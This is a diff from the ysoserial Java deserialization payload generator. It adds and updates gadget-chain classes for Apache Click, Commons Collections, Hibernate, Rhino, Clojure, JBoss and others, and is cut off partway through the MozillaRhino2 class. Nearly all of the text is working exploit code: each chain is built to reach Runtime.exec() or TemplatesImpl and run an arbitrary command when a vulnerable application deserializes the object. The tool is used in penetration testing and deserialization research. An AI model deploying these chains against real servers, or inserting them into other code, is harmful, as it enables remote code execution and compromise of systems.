+@PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" )
 @Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
 @Authors({ Authors.MBECHLER })
 public class C3P0 implements ObjectPayload<Object> {

src/main/java/ysoserial/payloads/Click1.java

@@ -0,0 +1,81 @@
+package ysoserial.payloads;
+
+import org.apache.click.control.Column;
+import org.apache.click.control.Table;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.math.BigInteger;
+import java.util.Comparator;
+import java.util.PriorityQueue;
+
+/*
+    Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
+    We use java.util.PriorityQueue to trigger ColumnComparator.compare().
+    After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
+
+    Chain:
+
+    java.util.PriorityQueue.readObject()
+      java.util.PriorityQueue.heapify()
+        java.util.PriorityQueue.siftDown()
+          java.util.PriorityQueue.siftDownUsingComparator()
+            org.apache.click.control.Column$ColumnComparator.compare()
+              org.apache.click.control.Column.getProperty()
+                org.apache.click.control.Column.getProperty()
+                  org.apache.click.util.PropertyUtils.getValue()
+                    org.apache.click.util.PropertyUtils.getObjectPropertyValue()
+                      java.lang.reflect.Method.invoke()
+                        com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
+                        ...
+
+    Arguments:
+    - command to execute
+
+    Yields:
+    - RCE via TemplatesImpl.getOutputProperties()
+
+    Requires:
+    - Apache Click
+    - servlet-api of any version
+
+    by @artsploit
+*/
+@SuppressWarnings({ "rawtypes", "unchecked" })
+@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
+@Authors({ Authors.ARTSPLOIT })
+public class Click1 implements ObjectPayload<Object> {
+
+    public Object getObject(final String command) throws Exception {
+
+        // prepare a Column.comparator with mock values
+        final Column column = new Column("lowestSetBit");
+        column.setTable(new Table());
+        Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
+
+        // create queue with numbers and our comparator
+        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
+        // stub data for replacement later
+        queue.add(new BigInteger("1"));
+        queue.add(new BigInteger("1"));
+
+        // switch method called by the comparator,
+        // so it will trigger getOutputProperties() when objects in the queue are compared
+        column.setName("outputProperties");
+
+        // finally, we inject and new TemplatesImpl object into the queue,
+        // so its getOutputProperties() method will be called
+        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
+        final Object templates = Gadgets.createTemplatesImpl(command);
+        queueArray[0] = templates;
+
+        return queue;
+    }
+
+    public static void main(final String[] args) throws Exception {
+        PayloadRunner.run(Click1.class, args);
+    }
+}

src/main/java/ysoserial/payloads/Clojure.java

@@ -2,10 +2,12 @@ package ysoserial.payloads;
 
 import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
 import clojure.lang.PersistentArrayMap;
+import ysoserial.Strings;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.util.PayloadRunner;
 
+import java.util.Arrays;
 import java.util.HashMap;
 import java.util.Map;
 
@@ -28,18 +30,26 @@ public class Clojure extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
 
 	public Map<?, ?> getObject(final String command) throws Exception {
 
-		final String[] execArgs = command.split(" ");
+//		final String[] execArgs = command.split(" ");
-		final StringBuilder commandArgs = new StringBuilder();
+//		final StringBuilder commandArgs = new StringBuilder();
-		for (String arg : execArgs) {
+//		for (String arg : execArgs) {
-			commandArgs.append("\" \"");
+//			commandArgs.append("\" \"");
-			commandArgs.append(arg);
+//			commandArgs.append(arg);
-		}
+//		}
-		commandArgs.append("\"");
+//		commandArgs.append("\"");
 
-		final String clojurePayload =
-				String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2));
 
-		Map<String, Object> fnMap = new HashMap<String, Object>();
+//		final String clojurePayload =
+//				String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2));
+
+        String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\"");
+
+        final String clojurePayload =
+            String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd);
+
+
+
+        Map<String, Object> fnMap = new HashMap<String, Object>();
 		fnMap.put("hashCode", new clojure.core$constantly().invoke(0));
 
 		AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();

src/main/java/ysoserial/payloads/CommonsCollections5.java

@@ -18,35 +18,40 @@ import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
 /*
 	Gadget chain:
-		ObjectInputStream.readObject()
+        ObjectInputStream.readObject()
-			AnnotationInvocationHandler.readObject()
+            BadAttributeValueExpException.readObject()
-				Map(Proxy).entrySet()
+                TiedMapEntry.toString()
-					AnnotationInvocationHandler.invoke()
+                    LazyMap.get()
-						LazyMap.get()
+                        ChainedTransformer.transform()
-							ChainedTransformer.transform()
+                            ConstantTransformer.transform()
-								ConstantTransformer.transform()
+                            InvokerTransformer.transform()
-								InvokerTransformer.transform()
+                                Method.invoke()
-									Method.invoke()
+                                    Class.getMethod()
-										Class.getMethod()
+                            InvokerTransformer.transform()
-								InvokerTransformer.transform()
+                                Method.invoke()
-									Method.invoke()
+                                    Runtime.getRuntime()
-										Runtime.getRuntime()
+                            InvokerTransformer.transform()
-								InvokerTransformer.transform()
+                                Method.invoke()
-									Method.invoke()
+                                    Runtime.exec()
-										Runtime.exec()
 
 	Requires:
 		commons-collections
  */
-@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
+/*
+This only works in JDK 8u76 and WITHOUT a security manager
+
+https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
+ */
 @SuppressWarnings({"rawtypes", "unchecked"})
+@PayloadTest ( precondition = "isApplicableJavaVersion")
 @Dependencies({"commons-collections:commons-collections:3.1"})
-@Authors({ Authors.FROHOFF })
+@Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
 public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
 
 	public BadAttributeValueExpException getObject(final String command) throws Exception {
@@ -75,7 +80,7 @@ public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<
 
 		BadAttributeValueExpException val = new BadAttributeValueExpException(null);
 		Field valfield = val.getClass().getDeclaredField("val");
-		valfield.setAccessible(true);
+        Reflections.setAccessible(valfield);
 		valfield.set(val, entry);
 
 		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
@@ -86,4 +91,9 @@ public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<
 	public static void main(final String[] args) throws Exception {
 		PayloadRunner.run(CommonsCollections5.class, args);
 	}
+
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isBadAttrValExcReadObj();
+    }
+
 }

src/main/java/ysoserial/payloads/CommonsCollections6.java

@@ -9,6 +9,7 @@ import org.apache.commons.collections.map.LazyMap;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
 
 import java.io.Serializable;
 import java.lang.reflect.Field;
@@ -70,7 +71,7 @@ public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<
             f = HashSet.class.getDeclaredField("backingMap");
         }
 
-        f.setAccessible(true);
+        Reflections.setAccessible(f);
         HashMap innimpl = (HashMap) f.get(map);
 
         Field f2 = null;
@@ -80,8 +81,7 @@ public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<
             f2 = HashMap.class.getDeclaredField("elementData");
         }
 
-
+        Reflections.setAccessible(f2);
-        f2.setAccessible(true);
         Object[] array = (Object[]) f2.get(innimpl);
 
         Object node = array[0];
@@ -96,7 +96,7 @@ public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<
             keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
         }
 
-        keyField.setAccessible(true);
+        Reflections.setAccessible(keyField);
         keyField.set(node, entry);
 
         return map;

src/main/java/ysoserial/payloads/CommonsCollections7.java

@@ -0,0 +1,87 @@
+package ysoserial.payloads;
+
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.functors.ChainedTransformer;
+import org.apache.commons.collections.functors.ConstantTransformer;
+import org.apache.commons.collections.functors.InvokerTransformer;
+import org.apache.commons.collections.map.LazyMap;
+
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.util.HashMap;
+import java.util.Hashtable;
+import java.util.Map;
+
+/*
+    Payload method chain:
+
+    java.util.Hashtable.readObject
+    java.util.Hashtable.reconstitutionPut
+    org.apache.commons.collections.map.AbstractMapDecorator.equals
+    java.util.AbstractMap.equals
+    org.apache.commons.collections.map.LazyMap.get
+    org.apache.commons.collections.functors.ChainedTransformer.transform
+    org.apache.commons.collections.functors.InvokerTransformer.transform
+    java.lang.reflect.Method.invoke
+    sun.reflect.DelegatingMethodAccessorImpl.invoke
+    sun.reflect.NativeMethodAccessorImpl.invoke
+    sun.reflect.NativeMethodAccessorImpl.invoke0
+    java.lang.Runtime.exec
+*/
+
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"commons-collections:commons-collections:3.1"})
+@Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI})
+
+public class CommonsCollections7 extends PayloadRunner implements ObjectPayload<Hashtable> {
+
+    public Hashtable getObject(final String command) throws Exception {
+
+        // Reusing transformer chain and LazyMap gadgets from previous payloads
+        final String[] execArgs = new String[]{command};
+
+        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
+
+        final Transformer[] transformers = new Transformer[]{
+            new ConstantTransformer(Runtime.class),
+            new InvokerTransformer("getMethod",
+                new Class[]{String.class, Class[].class},
+                new Object[]{"getRuntime", new Class[0]}),
+            new InvokerTransformer("invoke",
+                new Class[]{Object.class, Object[].class},
+                new Object[]{null, new Object[0]}),
+            new InvokerTransformer("exec",
+                new Class[]{String.class},
+                execArgs),
+            new ConstantTransformer(1)};
+
+        Map innerMap1 = new HashMap();
+        Map innerMap2 = new HashMap();
+
+        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
+        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
+        lazyMap1.put("yy", 1);
+
+        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
+        lazyMap2.put("zZ", 1);
+
+        // Use the colliding Maps as keys in Hashtable
+        Hashtable hashtable = new Hashtable();
+        hashtable.put(lazyMap1, 1);
+        hashtable.put(lazyMap2, 2);
+
+        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
+
+        // Needed to ensure hash collision after previous manipulations
+        lazyMap2.remove("yy");
+
+        return hashtable;
+    }
+
+    public static void main(final String[] args) throws Exception {
+        PayloadRunner.run(CommonsCollections7.class, args);
+    }
+}

src/main/java/ysoserial/payloads/FileUpload1.java

@@ -14,6 +14,7 @@ import org.apache.commons.io.output.ThresholdingOutputStream;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
@@ -40,9 +41,12 @@ import ysoserial.payloads.util.Reflections;
     "commons-fileupload:commons-fileupload:1.3.1",
     "commons-io:commons-io:2.4"
 } )
-@PayloadTest(harness="ysoserial.payloads.FileUploadTest")
+@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", precondition = "isApplicableJavaVersion", flaky = "possible race condition")
 @Authors({ Authors.MBECHLER })
 public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isAtLeast(7);
+    }
 
     public DiskFileItem getObject ( String command ) throws Exception {
 

src/main/java/ysoserial/payloads/Hibernate1.java

@@ -5,6 +5,8 @@ import java.lang.reflect.Array;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
+import java.util.Map;
+import java.util.HashMap;
 
 import org.hibernate.engine.spi.TypedValue;
 import org.hibernate.tuple.component.AbstractComponentTuplizer;
@@ -12,9 +14,12 @@ import org.hibernate.tuple.component.PojoComponentTuplizer;
 import org.hibernate.type.AbstractType;
 import org.hibernate.type.ComponentType;
 import org.hibernate.type.Type;
+import org.hibernate.EntityMode;
 
 import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
@@ -37,7 +42,11 @@ import ysoserial.payloads.util.Reflections;
  * @author mbechler
  */
 @Authors({ Authors.MBECHLER })
+@PayloadTest(precondition = "isApplicableJavaVersion")
 public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isAtLeast(7);
+    }
 
     public static String[] getDependencies () {
         if ( System.getProperty("hibernate5") != null ) {
@@ -69,7 +78,7 @@ public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
         Class<?> getterIf = Class.forName("org.hibernate.property.Getter");
         Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
         Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
-        bgCon.setAccessible(true);
+        Reflections.setAccessible(bgCon);
 
         if ( !method.startsWith("get") ) {
             throw new IllegalArgumentException("Hibernate4 can only call getters");
@@ -105,6 +114,15 @@ public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
 
     static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
             InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
+        if ( System.getProperty("hibernate3") != null ) {
+            return makeHibernate3Caller(tpl, getters);
+        }
+        return makeHibernate45Caller(tpl, getters);
+    }
+
+
+    static Object makeHibernate45Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
+            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
         PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
         Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
 
@@ -127,6 +145,40 @@ public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
     }
 
 
+    static Object makeHibernate3Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
+            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
+        // Load at runtime to avoid dependency conflicts
+        Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping");
+        Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping");
+        Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue");
+
+        PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
+        Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
+        Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1);
+
+        ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
+        HashMap hm = new HashMap();
+        hm.put(EntityMode.POJO, tup);
+        Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{ Map.class }, new Object[]{ hm });
+        Reflections.setFieldValue(t, "tuplizerMapping", emtm);
+        Reflections.setFieldValue(t, "propertySpan", 1);
+        Reflections.setFieldValue(t, "propertyTypes", new Type[] {
+            t
+        });
+
+        Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);
+        Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
+        Reflections.setFieldValue(v1, "value", tpl);
+        Reflections.setFieldValue(v1, "type", t);
+
+        Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
+        Reflections.setFieldValue(v2, "value", tpl);
+        Reflections.setFieldValue(v2, "type", t);
+
+        return Gadgets.makeMap(v1, v2);
+    }
+
+
     public static void main ( final String[] args ) throws Exception {
         PayloadRunner.run(Hibernate1.class, args);
     }

src/main/java/ysoserial/payloads/Hibernate2.java

@@ -3,6 +3,7 @@ package ysoserial.payloads;
 
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
 
 import com.sun.rowset.JdbcRowSetImpl;
@@ -41,9 +42,12 @@ import com.sun.rowset.JdbcRowSetImpl;
 @SuppressWarnings ( {
     "restriction"
 } )
-@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest")
+@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest", precondition = "isApplicableJavaVersion")
 @Authors({ Authors.MBECHLER })
 public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isAtLeast(7);
+    }
 
     public static String[] getDependencies () {
         return Hibernate1.getDependencies();

src/main/java/ysoserial/payloads/JBossInterceptors1.java

@@ -16,8 +16,11 @@ import org.jboss.interceptor.spi.model.InterceptionModel;
 import org.jboss.interceptor.spi.model.InterceptionType;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
 
 import java.lang.reflect.Constructor;
 import java.util.*;
@@ -26,11 +29,15 @@ import java.util.*;
     by @matthias_kaiser
 */
 @SuppressWarnings({"rawtypes", "unchecked"})
+@PayloadTest(precondition = "isApplicableJavaVersion")
 @Dependencies({ "javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final",
     "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
     "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
 @Authors({ Authors.MATTHIASKAISER })
 public class JBossInterceptors1 implements ObjectPayload<Object> {
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isAtLeast(7);
+    }
 
     public Object getObject(final String command) throws Exception {
 
@@ -44,7 +51,7 @@ public class JBossInterceptors1 implements ObjectPayload<Object> {
         s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
 
         Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
-        defaultMethodMetadataConstructor.setAccessible(true);
+        Reflections.setAccessible(defaultMethodMetadataConstructor);
         MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
                 MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
 

src/main/java/ysoserial/payloads/JRMPClient.java

@@ -49,7 +49,7 @@ import ysoserial.payloads.util.PayloadRunner;
 @SuppressWarnings ( {
     "restriction"
 } )
-@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
+@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
 @Authors({ Authors.MBECHLER })
 public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
 

src/main/java/ysoserial/payloads/JSON1.java

@@ -22,7 +22,6 @@ import javax.management.openmbean.TabularType;
 import javax.xml.transform.Templates;
 
 import org.springframework.aop.framework.AdvisedSupport;
-import com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl;
 import net.sf.json.JSONObject;
 
 
@@ -95,12 +94,11 @@ public class JSON1 implements ObjectPayload<Object> {
         // it's very likely that there are other proxy impls that could be used
         AdvisedSupport as = new AdvisedSupport();
         as.setTarget(payload);
-        InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections
+        InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
-                .getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as);
         InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));
-        CompositeInvocationHandlerImpl invocationHandler = new CompositeInvocationHandlerImpl();
+        InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");
-        invocationHandler.addInvocationHandler(CompositeData.class, cdsInvocationHandler);
+        ((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
-        invocationHandler.setDefaultHandler(delegateInvocationHandler);
+        Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
         final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);
 
         JSONObject jo = new JSONObject();

src/main/java/ysoserial/payloads/JavassistWeld1.java

@@ -16,8 +16,11 @@ import org.jboss.weld.interceptor.spi.model.InterceptionModel;
 import org.jboss.weld.interceptor.spi.model.InterceptionType;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
 
 import java.lang.reflect.Constructor;
 import java.util.*;
@@ -26,11 +29,15 @@ import java.util.*;
     by @matthias_kaiser
 */
 @SuppressWarnings({"rawtypes", "unchecked"})
+@PayloadTest(precondition = "isApplicableJavaVersion")
 @Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final",
     "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
     "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
 @Authors({ Authors.MATTHIASKAISER })
 public class JavassistWeld1 implements ObjectPayload<Object> {
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isAtLeast(7);
+    }
 
     public Object getObject(final String command) throws Exception {
 
@@ -44,7 +51,7 @@ public class JavassistWeld1 implements ObjectPayload<Object> {
         s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
 
         Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
-        defaultMethodMetadataConstructor.setAccessible(true);
+        Reflections.setAccessible(defaultMethodMetadataConstructor);
         MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
                 MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
 

src/main/java/ysoserial/payloads/MozillaRhino1.java

@@ -4,8 +4,11 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import org.mozilla.javascript.*;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
 
 import javax.management.BadAttributeValueExpException;
 import java.lang.reflect.Constructor;
@@ -16,15 +19,16 @@ import java.lang.reflect.Method;
     by @matthias_kaiser
 */
 @SuppressWarnings({"rawtypes", "unchecked"})
+@PayloadTest( precondition = "isApplicableJavaVersion")
 @Dependencies({"rhino:js:1.7R2"})
-@Authors({ Authors.MBECHLER })
+@Authors({ Authors.MATTHIASKAISER })
 public class MozillaRhino1 implements ObjectPayload<Object> {
 
     public Object getObject(final String command) throws Exception {
 
         Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
         Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
-        nativeErrorConstructor.setAccessible(true);
+        Reflections.setAccessible(nativeErrorConstructor);
         IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();
 
         Context context = Context.enter();
@@ -40,14 +44,14 @@ public class MozillaRhino1 implements ObjectPayload<Object> {
         idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);
 
         Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
-        getSlot.setAccessible(true);
+        Reflections.setAccessible(getSlot);
         Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
         Field getter = slot.getClass().getDeclaredField("getter");
-        getter.setAccessible(true);
+        Reflections.setAccessible(getter);
 
         Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
         Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
-        memberboxClassConstructor.setAccessible(true);
+        Reflections.setAccessible(memberboxClassConstructor);
         Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
         getter.set(slot, memberboxes);
 
@@ -56,7 +60,7 @@ public class MozillaRhino1 implements ObjectPayload<Object> {
 
         BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
         Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
-        valField.setAccessible(true);
+        Reflections.setAccessible(valField);
         valField.set(badAttributeValueExpException, idScriptableObject);
 
         return badAttributeValueExpException;
@@ -65,4 +69,9 @@ public class MozillaRhino1 implements ObjectPayload<Object> {
     public static void main(final String[] args) throws Exception {
         PayloadRunner.run(MozillaRhino1.class, args);
     }
+
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isBadAttrValExcReadObj();
+    }
+
 }

src/main/java/ysoserial/payloads/MozillaRhino2.java

@@ -0,0 +1,109 @@
+package ysoserial.payloads;
+
+import org.mozilla.javascript.*;
+import org.mozilla.javascript.tools.shell.Environment;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.io.IOException;
+import java.io.ObjectOutputStream;
+import java.lang.reflect.Method;
+import java.util.Hashtable;
+import java.util.Map;
+
+/*
+
+    Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject
+
+    Chain:
+
+    NativeJavaObject.readObject()
+      JavaAdapter.readAdapterObject()
+        ObjectInputStream.readObject()
+          ...
+            NativeJavaObject.readObject()
+              JavaAdapter.readAdapterObject()
+                JavaAdapter.getAdapterClass()
+                  JavaAdapter.getObjectFunctionNames()
+                    ScriptableObject.getProperty()
+                        ScriptableObject.get()
+                          ScriptableObject.getImpl()
+                            Method.invoke()
+                              Context.enter()
+        JavaAdapter.getAdapterClass()
+          JavaAdapter.getObjectFunctionNames()
+            ScriptableObject.getProperty()
+              NativeJavaArray.get()
+                NativeJavaObject.get()
+                  JavaMembers.get()
+                    Method.invoke()
+                      TemplatesImpl.getOutputProperties()
+                        ...
+
+    by @_tint0
+
+*/
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"rhino:js:1.7R2"})
+@Authors({ Authors.TINT0 })
+public class MozillaRhino2 implements ObjectPayload<Object> {
+
+    public Object getObject( String command) throws Exception {
+        ScriptableObject dummyScope = new Environment();
+        Map<Object, Object> associatedValues = new Hashtable<Object, Object>();
+        associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
+        Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
+
+        Object initContextMemberBox = Reflections.createWithConstructor(
+            Class.forName("org.mozilla.javascript.MemberBox"),
+            (Class<Object>)Class.forName("org.mozilla.javascript.MemberBox"),
+            new Class[] {Method.class},
+            new Object[] {Context.class.getMethod("enter")});
+
+        ScriptableObject initContextScriptableObject = new Environment();
+        Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
+        Reflections.setAccessible(makeSlot);
+        Object slot = makeSlot.invoke(initContextScriptableObject, "foo", 0, 4);
+        Reflections.setFieldValue(slot, "getter", initContextMemberBox);
+
+        NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
+        Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
+        Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true);
+        Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject",
+            this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
+        Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
+
+        ScriptableObject scriptableObject = new Environment();
+        scriptableObject.setParentScope(initContextNativeJavaObject);
